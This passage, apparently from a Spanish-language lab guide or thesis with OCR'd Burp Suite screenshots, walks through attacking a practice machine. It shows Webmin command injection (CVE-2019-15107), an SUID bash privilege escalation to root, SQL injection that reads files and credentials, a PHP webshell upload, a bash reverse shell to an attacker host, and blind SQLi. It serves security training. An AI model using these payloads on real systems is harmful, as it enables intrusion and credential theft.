Showresponse n browser = -
P U Inspector [ « I g
Request Request n browser >
Pretty  Raw  Hex & | Engagement ool [Praversionanly] > P10 B "= et 2 v iE
1 POST /session Login.cal HTTP/LL shownen o e Tlovs H
owne history windaw 2
2 Host: 127.0.0.1:10000 i) 3:17:44 GHT Requestbodyprameters 2 v I8
3 Cookie: redirect=l; testingl addnates
4 Content-Length: 27
5 Cache-Control: max-age=0 Highlight »FL Request cookies 2 v
o Sec-Ch-Ua: *Chroniun’; ="132", "Hot(A: Erand"; v="55" pathe/ B
7 Sec-CheUa-Mobile: 70 Delete tem athe/; secure
& Sec-Ch-Ua-Platform: "Linux" Clar histo (50} Request headers o v
5 Accept-Language: en-US, en;e0.9 arhstory script-src 'sslf' 'unsafe-irline’ 'unssfe-eval; =
10 Origin: https: //127. 0.0.1:10000 Copy URL src ‘salf! v B
11 Gontent-Type: application/x-wwy-Forn-urlencoded Charset=UTF-8 Fesponse headers 2
12 Upgrade-Insecure-Requests: L Copyas curlcommand (bash)
Copy links
OB e» ) o o] ohighlights
Saveitem

Eventlog()®  Allissues

Proxy history documentation @ Memory: 13.6MB

Figura 112: Envio de la solicitud interceptada a Repeater en Burp Suite.

41. Lo siguiente sera ir al apartado de “Repeater”, donde se encontrard la

intercepcion registrada con anterioridad. Aqui hay que hacer clic en el boton “Send”

para probar y utilizar la peticion para los ataques (ver Figura 113).

N

Burp Suite Community Edition v2025.11 - Temporary Project

Burp Project Intruder Repeater View Help
Dashboard  Target  Proyy Intruder  Repeater
1kt

e

Request

Pretty  Raw  Hex

POST /session_Login. cai HTTP/1.1
2 Host: 127.0.0.1:10000

2 Cookie: redirect=1; testingel

Content-Length: 27

5 Cache-Control: max-age=0

) Origin: https: //127.0.0.1:10000

Gontent-Type: appLication/x-ww-Forn-urlencoded

Safari/s37 36
Referer: https://127.0.0.1:10000/

usar=aadsdasdaspass= asfdffe

(O IR

Dane

Allissues

Event log (1 *

Collaborator

3 User-Agent: Mozilla/s.0 (XLL; Linux xB6_64) AppleNebKit/537 36 (KHTML, Like Gecko) Chrome/133.0.0.0

Sequencer  Decoder  Comparer  Logger  Organger  Extensions  Lean

Target: htps:/127.0.0.1:10000 /5

Response
@ n = Pretty  Raw

Hex  Render
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Remember me

| ohighlights

@ Memory:138.5MB
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Figura 113: Peticion interceptada en Repeater.
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42. Ahora debe modificar en la parte de la solicitud POST, reemplazando la ruta

por el script password change.cgi y agregando los parametros:

user=root&pam=&expired=

2|whoami&old=password&newl=test@123&new2=test@123

Con esto se arma la peticion maliciosa aprovechando el pardmetro expired para

inyectar y ejecutar comandos en el servidor (ver Figura 114).
BEEmPorl-|12::+ HOOERH

Burp Suite Community Edition v2025.1.1 - Temporary Project

ruder Repeater Collabaratar ‘Sequencer Decoder Comparer Logger Organizer Extensions Learn {8 Settings
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B v = oy B e e =3
cqi HTTR/11 3
tasting1 S
ral: max-age=0
https: //127.0.0. 1: 10080
{t-Type: application/x-vmu-Form-urlencoded B
o Usar-Agent: Mozilla/5.6 (X11; Linux xB6_64) AppleWsbkit/S37.36 (KHTHL, Like Gecko) Chrone/133.0.0.0
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Referer: https://127.0.0.1:10000/ il
onestion. kesp-alive

“ 2 Failed to change password : No
new password was entered

XA £ | ohighlights

Dane

3,604 bytes | 377 mills

Eventlog (11*  Allissues (@ Memory: 133.2MB

Figura 114: Preparar peticion maliciosa.

43. Una vez armada la peticion maliciosa, se procede a encriptar el valor 2|whoami
del parametro expired con URL encoding, debido a que el servidor solo acepta
caracteres validos en una solicitud HTTP, evitando asi errores al momento de

enviarla (ver Figura 115).

BEaPol-|"2:3: HOORL

Burp Suite Community Edition v2025.1.1 - Temporary Project
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Eventlog()®  Allissues @ Memory:133.2MB

Figura 115: URL encoding en el contenido del parametro expired.
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44. Lo siguiente que se debe hacer es ejecutar la peticiéon dando clic en el boton
“Send”, lo que generara un error en la respuesta que, al revisar con atencion, se
podré observar que en el contenido se muestra el nombre del usuario “root” que

esta ejecutando el proceso en el servidor (ver Figura 116).

KN A

Burp Suite Community Edition v2025.1.1 - Temporary Project

Burp Project Intruder Repeater View  Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decader Comparer Logger Organizer Extensions Learn &) Settings
1x + P
m [ < Target:https://127.0.0.110000 | HTTRN (3)
a--
Request Response
Pratty Hex B = Pretty Raw  Her  Render = 37
1 POST password_change. cgi HTTF/1.1 3
2 Host: 127.0.0.1;10000 E P l 3 f 'l d 1
5 Coskie: redirects1; testingl rror - Perl execution faile s
4 Content-Lemgth: 73
5 Cache-Control: max-age=0
10 Origin: https: //127.0.0.1:10000 Your password has expired, and a new one must be ?
11 Content-Type: application/x-wwi-Form-urlancodad
13 User-Agent: Mozilla/5.0 (X1L; Linux xB6_64) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/133.0.0.0
Safari/sa. 36 =
i

15 Referer: https://127.0.0.1:10000/

ohighlghts

[OXCIGIENRE 5

Dane

Mbytes| T3mills

@ Memory: 133.2M8

Eventlog(1)®  Allissues

Figura 116: Ejecucion de la peticion maliciosa.

45. Para confirmar que en verdad esté dando respuesta del servidor, se ejecuta el
comando “ifconfig”, el cual mostrard la configuracion de red de la maquina

objetivo (ver Figura 117).
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collisions:0 txqueuelen:1 RX bytes:4186330 (4.1 MB) TX bytes:4186330 (4.1 MB)
e ICIENE £ obighlihts
Done 1,156 bytes | 133 millis
Eventlog1)® Al issues @ Memory: 220.0M8

1eB0::a00:271f:fe29:aaab/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500
Metric:1 RX packets: 1646 errors:0 dropped:0 overruns:0 frame:0 TX packets:5553 errors:0
dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:169286 (169.2 KB) TX

sa0N @

Figura 117: Ejecucion del comando ifconfig desde el parametro expired.
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46. Con lo anterior realizado, lo siguiente serd crear una copia de Bash en el

directorio /tmp con la siguiente peticion:

user=root&pam=&expired= 2|cp /bin/bash /tmp/rootbash ; chmod u+s
/tmp/rootbash&old=password&newl=test@123&new2=test@123

Con esto se crea un Bash llamado “rootbash” con permisos SUID, lo que permitira

ejecutarlo con privilegios de root para obtener acceso a este mismo (ver Figura
118).

BEEmEPodF]-|1 23 > o B[]
4 Burp Suite Community Edition v2025.1.1 - Temporary Project
Burp Project Intruder Repester View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Lagger Organizer Extensions Learn @) Settings
1x + -3
m @ < Target: hitpsifl122.0.0.110000 /P | HTTPH (B
[ B
Request Response !
[= I Pretty  Raw  Hex  Render = 37
Error - Perl execution failed =

https: /7127,

" 2 Your password has expired, and a new one must be chosen.enp0s3 Link encap:Ethernet HWaddr
~Type: app

08:00:27:29:aa:ab inet addr:10.0.2.15 Bcast: 10.0.2.255 Mask:255.255.255.0 inet6 addr:
fe80::a00:27ff:fe29:aaab/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500
Metric:1 RX packets: 1646 errors:0 dropped:0 overruns:0 frame:0 TX packets:5553 errors:0
dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:169286 (169.2 KB) TX
bytes:6542555 (6.5 MB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6
addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:5662
errors:0 dropped:0 overruns:0 frame:0 TX packets:5662 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen: 1 RX bytes:4186330 (4.1 MB) TX bytes:4186330 (4.1 MB)

SN @

[ORcIGIIE o Ohighlights

Done 1,156 bytes 133 mills

Eventlog®  Allissues

@ Mamory: 220.0M8

Figura 118: Peticion para realizar la copia del Bash con SUID.

47. Lo siguiente serd encriptar con URL encoding el comando ingresado en el

pardmetro expired, para después ejecutarlo, aunque no se mostrard ningin

resultado, ya que inicamente se esta realizando la copia del Bash (ver Figura 119).

BemP ol 23 o kL
4 Burp Suite Community Edition v2025.1.1 - Temporary Project
Burp  Project Intruder  Repeater View  Help
Dashboard  Terget  Proxy  Intruder  Repeater  Collaborator  Sequencer Decoder  Comparer  Logger  Organzer  Extensions Learn ) Settings
1k + -
[ s [ <ir Target: https://127.0.0110000 /9 | HTTRN (3)
== .
Request Response =
prety  Raw e B v = ey R b Render = |z
1 FOST Jpassword_change. cgi. WTTR/L 1 R
2 Host: 127.0.0. 000 3 1 g
: et Error - Perl execution failed :
3
=0
©.1:10000 Your password has expired, and a new one must be chosen. at B
y Jusr/share/webmin/password_change.cgi line 12.
z
2¢ tup. tnp.
testalzatnenzs test @123
e ICIE o] ohighlights

Done 37 bytes| 16 mills

Eventlagf}®  Allissues ® Memory: 220.0MB

Figura 119: URL encoding del comando para copiar Bash en expired.
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Paso 6 - Bandera root.

48. Hecho lo anterior, se debe ingresar a la conexion remota y verificar que el

binario rootbash se haya creado en el directorio /tmp (ver Figura 120).

BEmRor: 2« [HOOPD

i pedri@nexusplaySQLi: ftmp

File Actions Edit View Help

pedri@nexusplaySQLi: fopt/webmin/CVE-2019-15107 M  pedri@nexusplaySQLi: /tmp B

pedriglo.
Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-21-generic x86_64)

* Documentation: https: 1p.ubuntu.com/

e 266 paguetes.
ciones son de seguridad,

New release "18
Run "do-release-upgrade

usplaysqL
usplaysoLi: $1s -1
1]

1 root root 10
root root

Figura 120: Binario rootbash en el directorio /tmp.

49. Por tultimo, se ejecuta la copia del Bash con el comando “./rootbash -p” para
obtener acceso a root y se revisa su directorio para ver el contenido del archivo

root.txt, el cual contiene un hash MD5 que corresponde a la tercera bandera (ver

Figura 121).

pedrignexusplay
rootbash-¢. 3% whoam
root

¢ home initrd.ing 1ib 1ib64 lost+found media mnt opt proc root Tun sbin snap srv sys tmp usr var vmlinuz webmin-setup.out
root

Figura 121: Acceso a root y captura de la tercera bandera.
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Escenarios de ataques adicionales en la aplicacion web
Ataque 1 - Acceso a archivos internos a través del buscador.
1. En el campo del buscador principal de la aplicacion se realiza la inyeccion SQL:

' UNION SELECT 1, 2,
LOAD_FILE('/var/www/html/APM _nexusplay/search.php'), 4, 5, 6 -- -

Dado que el usuario de la base de datos tiene permisos FILE y Secure_file priv,

se podra visualizar todo el contenido del archivo search.php (ver Figura 122).

Transacciones - Panel Admin x & Login to Webmin

0.0.2.15)

+ Kali Docs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

e o L)

1 Resultados

Figura 122: Lectura del archivo search.php usando SQLI.

2. Con la informacion obtenida, se procede a ver el codigo fuente de la pagina donde
se encuentra el apartado extraido, lo que permite detectar instrucciones del codigo

PHP (ver Figura 123).

3 4+ | HOORE]
http://10.0.2.15/search.php? x  +
dkas'+UNION+SELECT OAD_FIi

e “hitp://10.1.. ali D unter % Exploit-DB gle Hacking DB 1) O S Login to Webmin

<p class:
t

clude 'controladores/cont_search.php';
clude 'functions/fun search.php’;

Figura 123: Cédigo fuente del archivo search.php.
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3. Ahora se debe visualizar el contenido de uno de esos archivos ejecutando la
siguiente inyeccion SQL:
' UNION SELECT 1, 2,

LOAD_FILE('/var/www/html/APM_nexusplay/controladores/cont_search.ph
p')9 49 59 6 ---

Con esto se podra ver el codigo del archivo controladores/cont_search.php (ver

Figura 124).

kfd

B % 8w 1y

@ The image “http://10.1... = KaliDocs W Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec & Login to Webmin

R C0 -

™ ANADIR

Figura 124: Lectura del archivo cont_search.php usando SQLi.

4. Para visualizar correctamente el resultado, se debe inspeccionar el codigo fuente,

lo que permitird acceder al contenido del archivo cont search.php, donde se

encuentra una de sus inclusiones llamada database.php (ver Figura 125).

C @ sourceshttp://10 /search.php? nkfdsasmdkas'+UNION+SELECT+1% 2%2C+LOAD_FILE('%2" ¥ ¥

Kali Linux # Kali Tools @ Theimage "http://10. i ™ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec & Login to Webmin

SESSION['user_id*1);

Figura 125: Inspeccion del codigo de cont_search.php.
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5. Una vez detectado el archivo database.php y su ubicacion, se procede a realizar
la inyeccion SQL:

' UNION SELECT 1, 2,
LOAD_FILE('/var/www/html/APM_nexusplay/config_db/database.php’), 4,
5,6---

Quien permite visualizar el contenido de ese archivo y, sin necesidad de revisar el
codigo fuente, se podra observar la contrasefia del usuario estandar de la maquina

(ver Figura 126).

KaliLinux @ s @ The image “ 0 N Kali Forums e Kali NetHunter 3 DB le Hacking DB

i _

BUSCAR LIMPIAR

1 Resultados

D3NIL00CHAINSMANP

W ARADIR

Figura 126: Lectura del archivo database.php mediante SQLI.

Ataque 2 — Explotacion del apartado de carga de imagenes.

1. Al tener acceso como administrador de la aplicacion web, se debe ingresar al
apartado de configuraciones en la opcidn para cambiar foto de perfil, la cual es
vulnerable, ya que permite modificar el encabezado de carga de las iméagenes (ver
Figura 127).

* KaliDocs N Kali Forums X Kali NetHunter  Exploit-DB

& Configuraciones

miguel_admin Informaci6n del Perfil

A

Foto de Perfil

B Actuslizar Foto

Figura 127: Perfil del admin — apartado de configuraciones.
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2. Aqui lo primero que se debe hacer es crear un archivo .jpg cuyo contenido sea:
<?php system($_GET|['cmd']); ?>

Esto servird para generar un webshell que permitira ejecutar comandos en el

servidor a través de la URL (ver Figura 128).

S oEP o

2 *~[|Desktopfimage - Mousepad

File Edit Search View Document Help

(+ I I T C S

1 <?php
system($_GET['cmd']);

37

4]

Figura 128: Crear archivo .jpg con codigo PHP para webshell.

3. Después se configura el proxy del navegador con la direccion IP del localhost
"127.0.0.1" con el puerto "8080", para que se puedan interceptar las solicitudes

HTTP con BurpSuite (ver Figura 129).

BompPor| 2 O N B0 a e
(3 | Panel de Administrador

C @ M Firefox  about:preferences 0% v

Kali Linux & KaliTools @) Theimage “http://10.1...  ® KaliDocs ¥ Kali Forums ¥ Kali NetHunter  Exploit-DB % Google HackingDB " OffSec % Login to Webmin
(Connection Settings

Configure Proxy Access to the Internet

No proxy for

Figura 129: Configurar el proxy del navegador.

4. Lo siguiente que se hara es subir la imagen con el webshell incluido, pero
interceptando esa solicitud para capturar y analizar la peticion enviada al servidor

(ver Figura 130).
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B ompkoil|r 23«06

Burp Suite Community Edition v2025.1.1 - Temporary Project

Burp
0 a1 A w00 = e
Comparer

KaliLinux §& Kali Tools @ Theimage “http://10.1...  * Kali Docs N Kali Forums P HTTPhistory ~ WebSocketshistory  Match and replace &) Prowy settings

Project  Intruder  Repeater View  Help

Target Intruder  Repeater  Collsborator  Sequencer  Decoder ) Settings

logger  Organizer  Extensions  Leam

. - @ Intercepton rof v @ Open browser
ﬂ & Configuraciones [ G J S fonad |V Drop Openb 0]

Time___Tun Dicection___ Methad 1IRL

Request
Pretty  Raw Hex a L

POST fpanel -adnin/confiquraciones. php HTTP/L. 1

2 Hest: 10.0.2.15

2 User-Agent: ozilla/s.0 (XL Linux $86_64; rv:126.0) Gecko/20000L01 Firefor/128.0

) Cantent-Type: nultipart /forn-dats; boundary 12989973264782460403L77 400207
Fato de Perfil o Content-Length: 372

o Origin: http: //10.0.2.15

Comection: keep-alive

Referer: http: //10.0. 2. 15/panel -adnin/conf iguraciones. php

2 Cackie: PHPSESSID= reuBcuddtccisarsbadpriings

miguel admin Informacion del Perfil

Jopadsu)

o

1 77400207
Content -Disposition: form-data; name="avatar®; filename="inage. ipg"
Content-Type: image/jpeg

sajopy

@ Actuslizar Foto
<tphp

- systen(§_GET[ 'cmd']];
e 75

miguel_admin quel . 400207
Content -Disposition: form-data; names"update_avatar®

1 77406207 --

RICIGIERE | ohighlights

B Guardar Cambios Eventlog (21®  Allissues © Memory: 103448

Figura 130: Interceptar la subida de imagen.

5. Al subir la imagen, se intercepta esa solicitud para modificar el encabezado
correspondiente a la carga de la imagen, cambiando el filename por image.php3

para que el servidor lo trate como un archivo ejecutable (ver Figura 131).

Il |
‘ w AR | éGc
[l
Burp Suite Community Edition v2025.1.1 - Temporary Project
Burp Project Intruder Repeater View Help
& O A 10021 - A 90 N Dashboard  Target intruder  Repester  Collborator  Sequencer  Decoder {3} Settings

Comparer  logger  Organizer  Edtensions  Leam

KaliLinux & KaliTools @ Theimage “hitp://10.1...  # Kali Docs % Kali Forums P HTTPhistory  WebSocketshistory  Match and replace {6 prosysettings

‘;) £ Configuraciones TR [ e | [ Bome | O

Time___Tune Dicection___ Methad 1IRL

Request

a
8
miguel_admin Informacién del Perfil T CR -
POST fpanel -adninconf iquracions. php HTTP/L 1 i
5 Host: 10.0.2.15 H
3 User-Agent: Mozilla/5.0 [XLL, Linux 86 64 rv:128.0] Gecks/261000L Firsfox/128.0 7
Content-Type: miltipart /forn-dats; boundar, 19BTIATRAGDOT TGO
Fato de Perfil 3 Content-Length: 372
o Origin: http:/10.0.2.15
Connaction: kesp-3live

Referer: hittp: /10,02, 15/panel -adnin/conf iguraciones. php B
3 Cookie: PHPSESSTC= reuBeudtceisorba4proc .
rrrrrrrrrrrrrrrrrrrrr 10983573264782460403L77400207 ;",

Content -Disposition: form-data; nane=avatar*; filenane="inage. phodf
Content-Type: inage/jpeg
B Actuzlizar Foto
<7php
systen($_GET['cnd'1];

7

1 77406207
Content -Disposition: form-data; nane="update_avatar"

1 77406207 -

@@ IE P | ohighlights

B Guardar Cambios Eventlog(21®  Allissues © Memory:103.4M8

Figura 131: Modificar el encabezado - carga de la imagen.
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6. Tras ser modificadas, se envia la solicitud dando clic en el boton “Forward”

permitiendo que el archivo se suba al servidor (ver Figura 132).

3 b ]| 1 2 3 4 ® [] | (o aoulae
|- - |

¥ Burp Suite Community Edition v2025.1.1 - Temporary Project

Bup Projct Intruder Repester View Help
« c @ O A 100215 % < Dashbosrd ~ Target  Proxy  Intruder  Repester  Collsborstor  Sequencer  Decoder  {) Settings
Comparer  Logger  Orgamer  Extensions  Leam

KaliLinux & Kali Tools @ Theimage “http://10.1... = KaliDocs N Kali Forums R Intercept  HTTPhistory  WebSocketshistory  Matchand replace 8 Prowy settings

¢ Configuraciones © hereptof Fore & openbowser | ()

Time__ Tume Direction ___ Mathod_LRL

miguel admin

Informacién del Perfil

Fota de Perfil
atar

Admin

B Actualizar Foto

Eventlog(21®  Allissues @ Memory: 103.4M8

Figura 132: Enviar la solicitud para subir la webshell al servidor.

7. Ahora se inspecciona el cddigo del apartado del panel de configuracion para

identificar tanto el nombre del archivo como la ubicaciéon donde se subi6o (ver
Figura 133).
S mmEPoi|1 234+ BeF

ex.php x Configuraciones - Panel de
C o O & 100215 %o
Kali Linux 7 KaliTools @ Theimage “http://10.1... @ KaliDocs ¥ Kali Forums @ Kali NetHunter % Exploit-DB 00 kingDB /" OffSec % Loginto Webmin

i £ Configuraciones

minisr
dit
php3" alt="Avatar

miguel_admin

Informacién del Perfil

Avalar
Admin

Foto de Perfil

T risk that allow

Figura 133: Ubicacion donde se subio la webshell.
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8. Con esa ubicacion, se ingresa en el navegador y se afiade “?cmd=whoami” para

confirmar el usuario con el que se esta ejecutando el webshell en el servidor (ver

Figura 134).

10.0.2.15/images/usersfadm X

C @

KaliLinux @ Kali Tools @ The ima Google Hacking DB #* OffSec % Login to Webmin

@ KaliDocs X Kali Forums X Kali NetHunter « Exploit-DB

www-data

Figura 134: Verificar el usuario del sistema mediante el webshell.

9. Al tener la webshell subida a la maquina, se procede a realizar un reverse shell,

donde primero se debe poner a escuchar la maquina atacante (Kali) en el puerto

4242 con el comando “sudo nc -lvnp 4242 (ver Figura 135).

File Actions Edit View Help

Figura 135: Maquina Kali escuchando en el puerto 4242.

10. Con la intercepcion realizada al webshell, se debe modificar la peticion GET

insertando en el parametro cmd el siguiente contenido:
bash -c 'bash -i >& /dev/tcp/10.0.2.4 /4242 0>&1'

Este mismo se debe codificar en HTML, ya que el navegador no permite enviar

ciertos caracteres directamente (ver Figura 136).

BEEmPorl|-

« X @ O ¢ [ =  © © O

Kali Linux & Kali Tools @ The image "http://101... « KaliDocs ¥ Kali Forums

inin_7_1762320844 phparcndeb
£/10.0.2.4/4242 0361" HITP/L

sowadsy g

a/s.0 (a1,

_6a; v
i, spRLica

teeisorsb24prijodt
1

>
HTML >
Basesd >
BaseS4URL >
>

Q®€»

Eventlog (4)®  Allissues

Figura 136: Insertar y codificar en comando malicioso.
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11. Una vez codificada, lo siguiente sera enviar la solicitud haciendo clic en el botén

“Forward”, lo que permitird ejecutar el reverse shell en la maquina victima (ver

Figura 137).
_N B R R

File Actions Edit View Help Burp  Project Intruder Repester View Help
st e \ntruder  Repeater  Collaborator  Sequencer  Decoder {33 Settings

Comparer  Llogger  Organizer  Extensions Learm

HTTP history WebSockets history Match and replace. {8 Proxy settings
T S b [v] [ 8 ommmmar | @
Time_ Tune Directian_ Methad U1

Request

Hex (S I

\_7_1762320844. php: r-c+'basht tep/10.0.2

Jopadsu|

User-Agent: Hozilla/S 0 (¥11; Linux xB6_64; rv:128.0) Gecko/20100101 Firefox/126.0
Accept; text /himl, application/xhtnl +aml, apRLication/anl; a=0.9, /% o=0.8
Accept-Language: an-US, en; 0.5

Accept-Encoding: gzip, deflate, br

Comnection: keep-alive

Cookis: PHPSESSID-reucuddtccisor8badprijods

N ®

S Upgrada-Insecura-Requests: 1
o Priority: w0, i

Figura 137: Enviar la solicitud para ejecutar reverse shell.

12. Con esto se obtendra acceso a la maquina victima bajo el usuario

predeterminado de Apache, que es www-data (ver Figura 138).
S oEpO|r 23

i kali@kali: ~

Project Intruder Repeater View Help

File Actions Edit View Help Burp

Dushboard  Taget  Proyy  ntder  Repester  Collborator  Sequencer  Decoder {8} Settings

Comparer  logger  Organizer  Extensions  Lean

Intercept  WTTPhistory  WebSocketshistory  Matchandreplace {8) Proxysettings

listening on [any]
connect to [10.0.2
h: no job control in this

- oL . _nexuspl user 1 Time___ Tune Micertion __ Methad 1IRI

Figura 138: Reverse Shell - Acceso al servidor por el usuario www-data.

13. Se procede a buscar el usuario activo en el sistema (ver Figura 139).

HimPoOF]|

kali@kali: ~

Actions Edit View Help Burp  Project Intruder Repeater View Help
Dashboord ~ Target  Prory  Intruder  Repester  Colloborstor  Sequencer  Decoder {3} Settings

bin/nologin Comparsr  logger  Orgenicer ExtensonsLearn

Intercept HTTP history WebSockets history Match and replace {8 Proxysettings

o & ormbon | @

Time _ Tune Dicection __ Method 1IRL

in/nologin
/gnats:/usr/sbin/nologin

systemd-time

systemd-netuor

Eventlog (41®  Allissues @ Memory: 2B

Figura 139: Ver el nombre del usuario de la maquina.
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14. Se debe visualizar el contenido del archivo /config db/database.php de la

aplicacion para obtener la contrasena (ver Figura 140).

S eEPoO|1 23+ HORE e A 07| @ G

kali@leali: ~

File Actions Edit View Help Bup Project Intuder Repeater View Help
g Dashboard Target Proxy Intruder Repeater Collaborator ~ Sequencer Decoder {8} Settings

Comparer  logger  Organzer  Extensons  lean

Intercept HTTPhistory ~ WebSocketshistory  Matchand replace ) Proxysettings

onfig_db$ cd ..

= & cpwvon | @

Time __ Tune Direction __ Methad IRl

cd config_db

onfig_db$ cat database.php

YSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$conn = new mysqli($host, $username, $password, $database, §port);

on: " . $conn—connect_error);

/ntml /APM_nexusplay/config_db$ [l

Eventlog(6)®  Allissues @ Memory: 125MB

Figura 140: Contraseiia del usuario estandar — archivo database.php.

Ataque 3 — Inyeccion SQL a ciegas (Blind).
Los ataques que se presentaran corresponden al tipo de inyecciones SQL a ciegas
(Blind SQL1), por lo que obtener informacion de la base de datos mediante este
método resulta mas lento y complejo, ya que los resultados no se muestran
directamente y deben interpretarse a partir del comportamiento de la aplicacion. A
pesar de su dificultad, se lo incluy6 con el propdsito de brindar experiencia practica
sobre como este tipo de ataques puede comprometer una aplicacion web, incluso
sin conocer la estructura de la base de datos.
A continuacion, se mostraran ejemplos de como se realiza este ataque en la
aplicacion:
1. En el perfil del usuario de la aplicacion web, justo en el apartado para modificar
su informacion, en el campo nombre de usuario se realiza la siguiente inyeccion
SQL:

test', nombre = IF(LENGTH(database())=12, SLEEP(5), 0), apellido="x
Con esto se pregunta cudntos caracteres tiene el nombre de la base de datos, donde
si ingresa el valor correcto en “IF(LENGTH(database())=", la aplicacion tardara

5 segundos en cargar, indicando que la condicion es verdadera (ver Figura 141).
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* KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

@

Informacién Personal

Imagen de Perfil

Figura 141: SQLi por tiempo — cantidad de caracteres de la BD.

En esta parte también se podrian hacer otro tipo de inyecciones para obtener mas
informacion, como los nombres de las tablas, columnas o datos de la base de datos.
Sin embargo, esto es mas complejo y lento, porque requiere varias consultas y
observar con cuidado cémo responde la aplicacion.

2. El otro apartado en el que se puede realizar esta misma practica es el de “crear
cuenta” justo en el campo “nombre de usuario” se ingresa la siguiente inyeccion:
' OR ASCII(SUBSTRING((SELECT DATABASE()),1,1)) =110 #

Esto es un tipo de pregunta de verdadero y falso, donde se utiliza para comparar el
primer caracter del nombre de la base de datos con ASCII con 110, el cual

corresponde a la letra “n” (ver Figura 142).

SmP O

Registro - NexusPlay X nes - Panel de / X 195 X Burp Suite Community Ed

C @ > 10.0.2.15

KaliLinux § KaliTools @) Theimage “http://10.1... » KaliDocs N Kali Forums o Kali NetHunter  Exploit-DB Google Hacking DB OffSec & Login to Webmin

”

Crear Cuenta 2 0Y
- ' »

£

Registrarse

Figura 142: SQLi booleana — primer cardcter de la base de datos.
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3. Al compararlos, se obtiene el mensaje “El usuario o email ya estan registrados”,
que se lo interpretara como “verdadero”, esto identifica que la letra “n” es el primer

caracter del nombre de la base de datos (ver Figura 143).

SempPor| 23+ BQORPLE o A fe|a e

(3 Registro - NexusPlay X Configuraciones - Panelde / X &8 Settings X Burp Suite Community Edi

€« C @ O A 100215 EA T

Kali Linux 5 KaliTools @ Theimage “http://10.1...  KaliDocs ¥ Kali Forums o Kali NetHunter % Exploit-DB % Google Hacking DB /" OffSec & Login to Webmin

Ne

Crear Cuenta

Elusuario o email ya estén registrados

Registrarse

Figura 143: Confirma el primer cardcter de la base de datos “n”’.

4. Ahora, para saber cual es el segundo caracter del nombre de la base de datos, se

ejecuta la inyeccion SQL:
' OR ASCII(SUBSTRING((SELECT DATABASE()),2,1)) = 101 #

En este caso, 101 corresponde a la letra “e” (ver Figura 144).

BemPorf| 2 3+ BOORPLE ] Al aec

(3 Registro - NexusPlay X Configuraciones - Panelde / X &3 Settings X Burp Suite Community Ed

& C @ O A o+ 10.0.215 » B3 o

KaliLinux # KaliTools @ Theimage “http://10.1...  KaliDocs ¥ Kali Forums & KaliNetHunter  Exploit-DB % Google HackingDB " OffSec % Login to Webmin

Crear Cuenta

Registrarse

Figura 144: SQLi booleana — segundo cardcter de la base de datos.
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5. Esto dara como resultado el mensaje “El usuario o email ya estan registrados”,
lo que indica que la letra “e” es el segundo caracter del nombre de la base de datos

(ver Anexo 145).

om POl

Registro - NexusPlay

C ®

KaliLinux # KaliTools @ Theimage “http://10.1...  # Kali Docs X Kali Forums e Kali NetHunter = Exploit-DB % Google HackingDB ¢ OffSec & Login to Webmin

Crear Cuenta

El usuario o email ya estén registados

Figura 145: Confirma el segundo cardcter de la base de datos “e”.

6. Esto seguira asi hasta encontrar y completar todo el nombre de la base de datos,
pero que pasa si se prueba con un caracter que no corresponde, como en la siguiente

inyeccion SQL:
¢ OR ASCII(SUBSTRING((SELECT DATABASE()),3,1)) =87 #

Aqui se esta preguntando si el tercer caracter es la “w”, lo cual permitira determinar
b

si la condicion es falsa o verdadera (ver Figura 146).

SomP o]
©  Registro - NexusPlay
« C @ O @ o+ 100215

Kali Linux @& Kali Tools @ The image “http://10.1 « KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB % Google HackingDB " OffSec

Nexu

Crear Cuenta

Registrarse

Figura 146: SQLi booleana — Tercer cardcter de la base de datos.
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7. Al no coincidir con el tercer caracter del nombre de la base de datos, se mostrara

un error de sintaxis indicando que la condicion es falsa (ver Figura 147).

mmunity Edi

C 0 & 100215 i 7

KaliLinux & Kali Tools @ Theimage “nttp://10.1.. » KaliDocs X Kali Forums e Kali NetHunter & Exploit-DB % Google Hacking DB /" OffSec £ Login to Webmin

Error en la consulta: Data too long for column ‘username’ at row 1

Figura 147: Error de sintaxis - tercer cardcter incorrecto.
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